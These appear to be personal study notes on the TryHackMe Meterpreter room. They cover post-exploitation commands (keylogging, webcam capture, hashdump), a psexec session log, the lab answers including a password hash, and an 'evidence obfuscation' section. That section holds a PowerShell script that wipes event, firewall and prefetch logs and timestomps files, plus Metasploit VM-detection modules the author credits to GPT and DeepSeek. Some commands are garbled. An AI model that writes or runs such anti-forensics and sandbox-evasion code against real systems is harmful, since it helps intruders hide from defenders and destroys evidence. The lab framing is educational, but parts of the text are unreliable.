

# Meterpreter

<https://tryhackme.com/room/meterpreter>

Meterpreter will run on the target system and act as an agent within a command and control architecture

Meterpreter runs on RAM. It runs in memory and does not write itself to the disk on the target. This feature aims to avoid being detected during antivirus scans

Meterpreter also aims to avoid being detected by network-based IPS (Intrusion Prevention System) and IDS (Intrusion Detection System) solutions by using encrypted communication with the server

Meterpreter will establish an encrypted (TLS) communication channel with the attacker's system

```
meterpreter > getpid  
Current pid: 1453
```

ps list processes running on the target system

```
C:\Windows\system32>tasklist /m /fi "pid eq 1453"  
tasklist /m /fi "pid eq 1453"
```

"(Dynamic-Link Libraries) used by the Meterpreter process (PID 1453 in this case), there is no meterpreter.dll"

msfvenom --list payloads | grep meterpreter  
this command will list all meterpreter payload

meterpreter > help  
list commands which is usable for meterpreter

Core commands

- background : Backgrounds the current session

- `exit` : Terminate the Meterpreter session
- `guid` : Get the session GUID (Globally Unique Identifier)
- `help` : Displays the help menu
- `info` : Displays information about a Post module
- `irb` : Opens an interactive Ruby shell on the current session
- `load` : Loads one or more Meterpreter extensions
- `migrate` : Allows you to migrate Meterpreter to another process
- `run` : Executes a Meterpreter script or Post module
- `sessions` : Quickly switch to another session

## File system commands

- `cd` : Will change directory
- `ls` : Will list files in the current directory (dir will also work)
- `pwd` : Prints the current working directory
- `edit` : will allow you to edit a file
- `cat` : Will show the contents of a file to the screen
- `rm` : Will delete the specified file
- `search` : Will search for files
- `upload` : Will upload a file or directory
- `download` : Will download a file or directory

## Networking commands

- `arp` : Displays the host ARP (Address Resolution Protocol) cache
- `ifconfig` : Displays network interfaces available on the target system
- `netstat` : Displays the network connections
- `portfwd` : Forwards a local port to a remote service
- `route` : Allows you to view and modify the routing table

## System commands

- `clearev` : Clears the event logs
- `execute` : Executes a command
- `getpid` : Shows the current process identifier
- `getuid` : Shows the user that Meterpreter is running as
- `kill` : Terminates a process
- `pkill` : Terminates processes by name
- `ps` : Lists running processes
- `reboot` : Reboots the remote computer
- `shell` : Drops into a system command shell
- `shutdown` : Shuts down the remote computer
- `sysinfo` : Gets information about the remote system, such as OS

## Others Commands (these will be listed under different menu categories in the help menu)

- `idletime` : Returns the number of seconds the remote user has been idle
- `keyscan_dump` : Dumps the keystroke buffer
- `keyscan_start` : Starts capturing keystrokes
- `keyscan_stop` : Stops capturing keystrokes
- `screenshare` : Allows you to watch the remote user's desktop in real time
- `screenshot` : Grabs a screenshot of the interactive desktop
- `record_mic` : Records audio from the default microphone for X seconds
- `webcam_chat` : Starts a video chat
- `webcam_list` : Lists webcams
- `webcam_snap` : Takes a snapshot from the specified webcam
- `webcam_stream` : Plays a video stream from the specified webcam
- `getsystem` : Attempts to elevate your privilege to that of local system
- `hashdump` : Dumps the contents of the SAM database

```
meterpreter > getuid  
Server username: NT AUTHORITY\SYSTEM
```

learn possible privilege level

```
ps  
list running processes
```

```
meterpreter > migrate 716
```

Be careful; you may lose your user privileges if you migrate from a higher privileged (e.g. SYSTEM) user to a process started by a lower privileged user (e.g. webserver). You may not be able to gain them back.

The `hashdump` command will list the content of the SAM database. The SAM (Security Account Manager) database stores user's passwords on Windows systems. These passwords are stored in the NTLM (New Technology LAN Manager) format.

```
meterpreter > search -f flag2.txt
```

```
meterpreter > shell  
launch regular shell
```

exploit the machine  
Username: ballen  
Password: Password1

```
exploit/windows/smb/psexec
```

```
[msf] (Jobs:0 Agents:0) exploit(windows/smb/psexec) >> set LHOST 10.14.105.194
LHOST => 10.14.105.194
[msf] (Jobs:0 Agents:0) exploit(windows/smb/psexec) >> run
[*] Started reverse TCP handler on 10.14.105.194:4444
[*] 10.10.151.54:445 - Connecting to the server...
[*] 10.10.151.54:445 - Authenticating to 10.10.151.54:445 as user 'ballen'...
[*] 10.10.151.54:445 - Selecting PowerShell target
[*] 10.10.151.54:445 - Executing the payload...
[+] 10.10.151.54:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (177734 bytes) to 10.10.151.54
[*] Meterpreter session 1 opened (10.14.105.194:4444 -> 10.10.151.54:63177) at 2025-06-21 17:34:46 +0300
(Meterpreter 1) (C:\Windows\system32) > sessions
```

What is the computer name?

ACME-TEST

What is the target domain?

FLASH

What is the name of the share likely created by the user?

speedster

What is the NTLM hash of the jchambers user?

69596c7aa1e8daee17f8e78870e25a5c

What is the cleartext password of the jchambers user?

Trustno1

Where is the "secrets.txt" file located? (Full path of the file)

c:\Program Files (x86)\Windows Multimedia Platform\secrets.txt

What is the Twitter password revealed in the "secrets.txt" file?

KDSvbsw3849!

Where is the "realsecret.txt" file located? (Full path of the file)

c:\inetpub\wwwroot\realsecret.txt

What is the real secret?

The Flash is the fastest man alive

<https://www.exploit-db.com/docs/english/18229-white-paper--post-exploitation-using-meterpreter.pdf>

meterpreter > background

msf exploit(ms08\_067\_netapi) > sessions -i 1

[\*] Starting interaction with 1...

meterpreter > cat secret.txt

read the file

## Evidence obfuscation

meterpreter > idletime

How much time the user has been idle

meterpreter > clearev

clear the event logs on a Windows target machine (highly detectable, use after you done; often triggers Blue Team)

meterpreter > shell

del C:\Users<user>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost\_history.txt

del C:\Users<user>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\*

deletes powershell logs

Clear Temp directories

Remove-Item "

*env : TEMP\\*\" - Recurse - ForceRemove - Item /& C : \Windows\Temp\\*\" - Recurse - ForceClearRecentFilesRemove - Item /&*

*env:APPDATA\Microsoft\Windows\Recent\*" -Force*

```
C:\Windows\System32\LogFiles\Firewall  
The firewall logs here.  
meterpreter> shell  
Powershell  
PS  Clear-Content "C:\Windows\System32\LogFiles\Firewall\pfirewall.log"  
(Requires admin privileges)  
PS  Set-NetFirewallProfile -Profile Domain,Public,Private -LogFileName ""  
(stops firewall logging)
```

**WARNING:** Event Log "Audit Log Clear" Event ID **1102** may still log you.

if you modifie a file restorin original timestamps may help for Evidence obfusca  
(Get-Item "C:\Windows\System32\notepad.exe").LastWriteTime = Get-Date "01/01/2020 12:00"

Remove logs(too detectable, use after you done)

wEvtutil cl Application

wEvtutil cl System

wEvtutil cl Security

Kill your suspicious process

```
Get-Process | Where-Object {$_.Name -like "backdoor"} | Stop-Process
```

Delete prefetch files (detectable by forensic tools)

```
Remove-Item "C:\Windows\Prefetch*" -Force
```

a script facilitate Evidence obfuscation (writen by gpt)

```
#----- PowerShell Digital Evidence Clean-up Script -----  
  
#1. Clear PowerShell history
```

```
$psHistory = "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt"
if (Test-Path $psHistory) {
    Remove-Item $psHistory -Force
}

#2. Clear CMD history (Session only)
doskey /reinstall

#3. Clear temp folders (Common drop location for malware/tools)
Remove-Item "C:\Users\$env:USERNAME\AppData\Local\Temp\*" -Force -Recurse -ErrorAction SilentlyContinue
Remove-Item "C:\Windows\Temp\*" -Force -Recurse -ErrorAction SilentlyContinue

#4. Remove recent files history
Remove-Item "C:\Users\$env:USERNAME\AppData\Roaming\Microsoft\Windows\Recent\*" -Force -ErrorAction
SilentlyContinue

#5. Delete Firewall Logs
Remove-Item "C:\Windows\System32\LogFiles\Firewall\pfirewall.log" -Force -ErrorAction SilentlyContinue

#6. Clear Windows Event Logs (Note: generates Event ID 1102 in Security Log)
wevtutil cl Application
wevtutil cl System
wevtutil cl Security

#7. Remove Prefetch files (record of executed EXEs)
Remove-Item "C:\Windows\Prefetch\*" -Force -ErrorAction SilentlyContinue

#8. Remove any dropped files manually specified (example payload)
$customFilePaths = @(
    "C:\Users\Public\payload.exe",
```

```

"C:\Users\$env:USERNAME\Desktop\malicious.dll"
}

foreach ($file in $customFilePaths) {
    if (Test-Path $file) {
        Remove-Item $file -Force
    }
}

#9.Timestomp a file to hide modification date
$targetFile = "C:\Windows\System32\notepad.exe"
(Get-Item $targetFile).LastWriteTime = Get-Date "01/01/2020 12:00"
(Get-Item $targetFile).CreationTime = Get-Date "01/01/2020 12:00"
(Get-Item $targetFile).LastAccessTime = Get-Date "01/01/2020 12:00"

#10.Optional: Disable event logging temporarily (highly detectable)
#auditpol /set /subcategory:"Logon" /success:disable /failure:disable

#-----

```

!“Clearing logs does not erase logs already sent to SIEM/EDR systems.”

Noticing virutal machine  
check\_vm\_presence.rb

This module checks if the target system is likely a virtual machine. (written by gpt)

```

require 'msf/core'

class MetasploitModule < Msf::Post

    include Msf::Post::Windows::System

```

```

include Msf::Post::Windows::Registry
include Msf::Post::Windows::Network

def initialize(info = {})
    super(update_info(info,
        'Name'          => 'Windows Meterpreter VM Presence Checker',
        'Description'   => %q{
            Checks common indicators on Windows targets to determine if the system
            is running inside a virtual machine like VMware, VirtualBox, Hyper-V, or QEMU.
        },
        'License'        => MSF_LICENSE,
        'Author'         => ['ChatGPT (adapted by user)'],
        'Platform'       => ['windows'],
        'SessionTypes'   => ['meterpreter']
    ))
end

def run
    print_status("Checking system manufacturer and model...")
    sys_info = sysinfo
    print_good("Manufacturer: #{sys_info['Manufacturer']}")
    print_good("Model      : #{sys_info['Model']}")

    vm_indicators = ['vmware', 'virtualbox', 'vbox', 'kvm', 'qemu', 'hyper-v', 'xen']

    if vm_indicators.any? { |i| sys_info['Model'].downcase.include?(i) ||
        sys_info['Manufacturer'].downcase.include?(i) }
        print_good("[+] System Manufacturer/Model suggests VM presence.")
    else
        print_status("[-] System Manufacturer/Model does not suggest VM presence.")
    end
end

```

```
end

print_status("\nChecking running processes for VM tools...")
vm_procs = %w[
    vmtoolsd.exe
    vmwaretray.exe
    vmwareuser.exe
    vboxservice.exe
    vboxttray.exe
    qemu-ga.exe
]

processes = cmd_exec('tasklist /fo csv /nh').split("\n").map { |line| line.split('"','') }
[0].delete(')').downcase }
vm_found = false

vm_procs.each do |proc|
    if processes.include?(proc)
        print_good("[+] Found VM-related process: #{proc}")
        vm_found = true
    end
end

print_status("[-] No known VM processes found.") if !vm_found

print_status("\nChecking MAC addresses for VM vendor prefixes...")

macs = cmd_exec('getmac /v /fo csv').split("\n")[1..-1] || []
vm_mac_prefixes = ['00:05:69', '00:0C:29', '00:1C:14', '00:50:56', '08:00:27']
```

```

vm_mac_found = false

macs.each do |line|
  # CSV fields: "Connection Name","Network Adapter","Physical Address","Transport Name"
  fields = line.split('","').map { |f| f.delete('"'') }
  mac = fields[2].downcase rescue nil
  next if mac.nil? || mac.length < 8
  prefix = mac[0,8].upcase
  vm_mac_prefixes.each do |vm_prefix|
    if prefix.start_with?(vm_prefix.gsub(':', '').upcase) || prefix.start_with?(vm_prefix.upcase)
      print_good("[+] VM MAC address prefix found: #{mac}")
      vm_mac_found = true
    end
  end
end
print_status("[-] No VM MAC address prefixes detected.") if !vm_mac_found

print_status("\nChecking BIOS information for VM strings...")
bios_info = cmd_exec('wmic bios get serialnumber,version /format:list')
if vm_indicators.any? { |i| bios_info.downcase.include?(i) }
  print_good("[+] BIOS info suggests VM presence.")
else
  print_status("[-] BIOS info does not suggest VM presence.")
end

print_status("\nVM Presence Check Complete.")

def sysinfo
  # Uses Meterpreter sysinfo method to get Manufacturer and Model info from WMI

```

```

manufacturer = cmd_exec('wmic computersystem get manufacturer /value').split('=').last.strip rescue ''
model = cmd_exec('wmic computersystem get model /value').split('=').last.strip rescue ''
{ 'Manufacturer' => manufacturer, 'Model' => model }
end

end

```

another version which written by deepseek

```

require 'msf/core'

class MetasploitModule < Msf::Post

  include Msf::Post::Windows::System
  include Msf::Post::Windows::Registry
  include Msf::Post::Windows::Network
  include Msf::Post::Windows::Priv

  def initialize(info = {})
    super(update_info(info,
      'Name'         => 'Windows Comprehensive VM Presence Checker',
      'Description'   => %q{
        This module performs comprehensive checks to detect if the Windows system
        is running inside a virtual machine (VMware, VirtualBox, Hyper-V, QEMU, etc.).
        It examines multiple artifacts including system information, processes,
        MAC addresses, registry keys, devices, and CPU flags.
      },
      'License'       => MSF_LICENSE,
      'Author'        => ['Improved by ChatGPT'],
      'Platform'      => ['win'],
    ))
  end
end

```

```
'SessionTypes' => ['meterpreter']
))
end

def run
    vm_detected = false
    detection_methods = []

    print_status("Starting comprehensive VM detection checks...")

    # Check system manufacturer and model
    detection_methods << check_system_info

    # Check running processes
    detection_methods << check_processes

    # Check MAC addresses
    detection_methods << check_mac_addresses

    # Check BIOS information
    detection_methods << check_bios_info

    # Check registry artifacts
    detection_methods << check_registry

    # Check devices
    detection_methods << check_devices

    # Check CPU flags
    detection_methods << check_cpu_flags
```

```
# Generate summary
print_status("\n[+] VM Detection Summary:")
detection_methods.compact.each do |method|
  print_status(" - #{method}")
  vm_detected = true
end

if vm_detected
  print_good("Virtual machine environment detected!")
else
  print_status("No clear signs of virtual machine detected.")
end
end

def check_system_info
  print_status("\nChecking system manufacturer and model...")

begin
  sys_info = get_sysinfo
  manufacturer = sys_info['Manufacturer'].to_s.downcase
  model = sys_info['Model'].to_s.downcase

  print_status("Manufacturer: #{sys_info['Manufacturer']}")
  print_status("Model: #{sys_info['Model']}")

  vm_indicators = ['vmware', 'virtualbox', 'vbox', 'kvm', 'qemu', 'hyper-v', 'xen', 'virtual',
  'innotek', 'red hat']

  vm_indicators.each do |indicator|
```

```
    if manufacturer.include?(indicator) || model.include?(indicator)
        msg = "System Manufacturer/Model suggests #{indicator.upcase} VM"
        print_good("[+] #{msg}")
        return msg
    end
end

print_status("[-] System Manufacturer/Model does not suggest VM presence.")

rescue => e
    print_error("Error checking system info: #{e}")
end

nil
end

def check_processes
    print_status("\nChecking running processes for VM tools...")

begin
    vm_procs = {
        'VMware'      => ['vmtoolsd.exe', 'vmwaretray.exe', 'vmwareuser.exe'],
        'VirtualBox'  => ['vboxservice.exe', 'vboxtray.exe'],
        'QEMU'        => ['qemu-ga.exe'],
        'Hyper-V'     => ['vmms.exe', 'vmwp.exe'],
        'Xen'         => ['xenservice.exe']
    }

    processes = []
begin
    # Try Meterpreter native method first
```

```
processes = session.sys.process.get_processes.map { |p| p['name'].downcase }
rescue
    # Fallback to command if Meterpreter method fails
    processes = cmd_exec('tasklist /fo csv /nh').split("\n").map { |line| line.split('"','"')[0].delete('"').downcase }
end

vm_procs.each do |vendor, procs|
    procs.each do |proc|
        if processes.include?(proc.downcase)
            msg = "Found #{vendor} process: #{proc}"
            print_good("[+] #{msg}")
            return msg
        end
    end
end

print_status("[-] No known VM processes found.")
rescue => e
    print_error("Error checking processes: #{e}")
end

nil
end

def check_mac_addresses
    print_status("\nChecking MAC addresses for VM vendor prefixes...")
begin
    vm_mac_prefixes = {
```

```

'VMware'      => ['000569', '000C29', '001C14', '005056'],
'VirtualBox'=> ['080027'],
'Hyper-V'     => ['0003FF'],
'Xen'         => ['00163E']

}

macs = []

begin
  raw_macs = cmd_exec('getmac /v /fo csv /nh')
  macs = raw_macs.split("\n").map do |line|
    fields = line.split(",")'
    fields[2].gsub(/[^\0-9A-Fa-f]/, '')[0,6].upcase rescue nil
  end.compact
rescue => e
  print_error("Error getting MAC addresses: #{e}")
end

vm_mac_prefixes.each do |vendor, prefixes|
  prefixes.each do |prefix|
    if macs.any? { |mac| mac.start_with?(prefix) }
      msg = "#{vendor} MAC address prefix (#{prefix}) found"
      print_good("[+] #{msg}")
      return msg
    end
  end
end

print_status("[-] No VM MAC address prefixes detected.")

rescue => e
  print_error("Error checking MAC addresses: #{e}")

```

```
end

nil
end

def check_bios_info
  print_status("\nChecking BIOS information for VM strings...")

begin
  bios_info = cmd_exec('wmic bios get serialnumber,version /format:list').downcase rescue ''
  vm_indicators = {
    'VMware'      => 'vmware',
    'VirtualBox'  => 'virtualbox|vbox',
    'QEMU'        => 'qemu',
    'Hyper-V'     => 'hyper-v|hyperv',
    'Xen'          => 'xen'
  }

  vm_indicators.each do |vendor, pattern|
    if bios_info.match(/#{pattern}/)
      msg = "BIOS info suggests #{vendor} VM"
      print_good("[+] #{msg}")
      return msg
    end
  end
end

print_status("[-] BIOS info does not suggest VM presence.")
rescue => e
  print_error("Error checking BIOS info: #{e}")
```

```
end

nil
end

def check_registry
  print_status("\nChecking registry for VM artifacts...")

begin
  vm_registry_keys = {
    'VMware' => [
      'HKLM\\HARDWARE\\DESCRIPTION\\System\\BIOS\\SystemManufacturer',
      'HKLM\\SOFTWARE\\VMware, Inc.\\VMware Tools'
    ],
    'VirtualBox'=> [
      'HKLM\\HARDWARE\\DESCRIPTION\\System\\BIOS\\SystemProductName',
      'HKLM\\SOFTWARE\\Oracle\\VirtualBox Guest Additions'
    ],
    'Hyper-V' => [
      'HKLM\\HARDWARE\\DESCRIPTION\\System\\BIOS\\SystemProductName',
      'HKLM\\SOFTWARE\\Microsoft\\Virtual Machine\\Guest\\Parameters'
    ],
    'QEMU' => [
      'HKLM\\HARDWARE\\DESCRIPTION\\System\\BIOS\\SystemManufacturer'
    ]
  }

  vm_registry_keys.each do |vendor, keys|
    keys.each do |key|
      begin
```

```
    if registry_enumkeys(key)
        msg = "Found #{vendor} registry artifact: #{key}"
        print_good("[+] #{msg}")
        return msg
    end
rescue
    next
end
end

print_status("[-] No VM registry artifacts found.")
rescue => e
    print_error("Error checking registry: #{e}")
end

nil
end

def check_devices
    print_status("\nChecking devices for VM hardware...")

begin
    vm_devices = {
        'VMware'      => 'vmware',
        'VirtualBox'  => 'virtualbox|vbox',
        'QEMU'         => 'qemu',
        'Hyper-V'      => 'hyper-v|hyperv|vmbus',
        'Xen'          => 'xen'
    }
}
```

```
devices = cmd_exec('wmic path win32_pnpproperty get name /format:list').downcase rescue ''

vm_devices.each do |vendor, pattern|
  if devices.match(/#{pattern}/)
    msg = "Found #{vendor} virtual device"
    print_good("[+] #{msg}")
    return msg
  end
end

print_status("[-] No VM devices detected.")

rescue => e
  print_error("Error checking devices: #{e}")
end

nil
end

def check_cpu_flags
  print_status("\nChecking CPU flags for hypervisor presence...")

begin
  cpu_info = cmd_exec('wmic cpu get caption,description,manufacturer /format:list').downcase rescue ''

  if cpu_info.include?('hypervisor') || cpu_info.include?('vmx') || cpu_info.include?('svm')
    msg = "CPU flags suggest hypervisor presence"
    print_good("[+] #{msg}")
    return msg
  end
end
```

```
    print_status("[-] No hypervisor CPU flags detected.")
rescue => e
    print_error("Error checking CPU flags: #{e}")
end

nil
end

def get_sysinfo
begin
    manufacturer = registry_getvaldata('HKLM\\HARDWARE\\DESCRIPTION\\System\\BIOS', 'SystemManufacturer')
||| cmd_exec('wmic computersystem get manufacturer /value').split('=').last.strip rescue ''
model = registry_getvaldata('HKLM\\HARDWARE\\DESCRIPTION\\System\\BIOS', 'SystemProductName') ||
cmd_exec('wmic computersystem get model /value').split('=').last.strip rescue ''
{ 'Manufacturer' => manufacturer, 'Model' => model }
rescue => e
    print_error("Error getting system info: #{e}")
    { 'Manufacturer' => '', 'Model' => '' }
end
end
end
```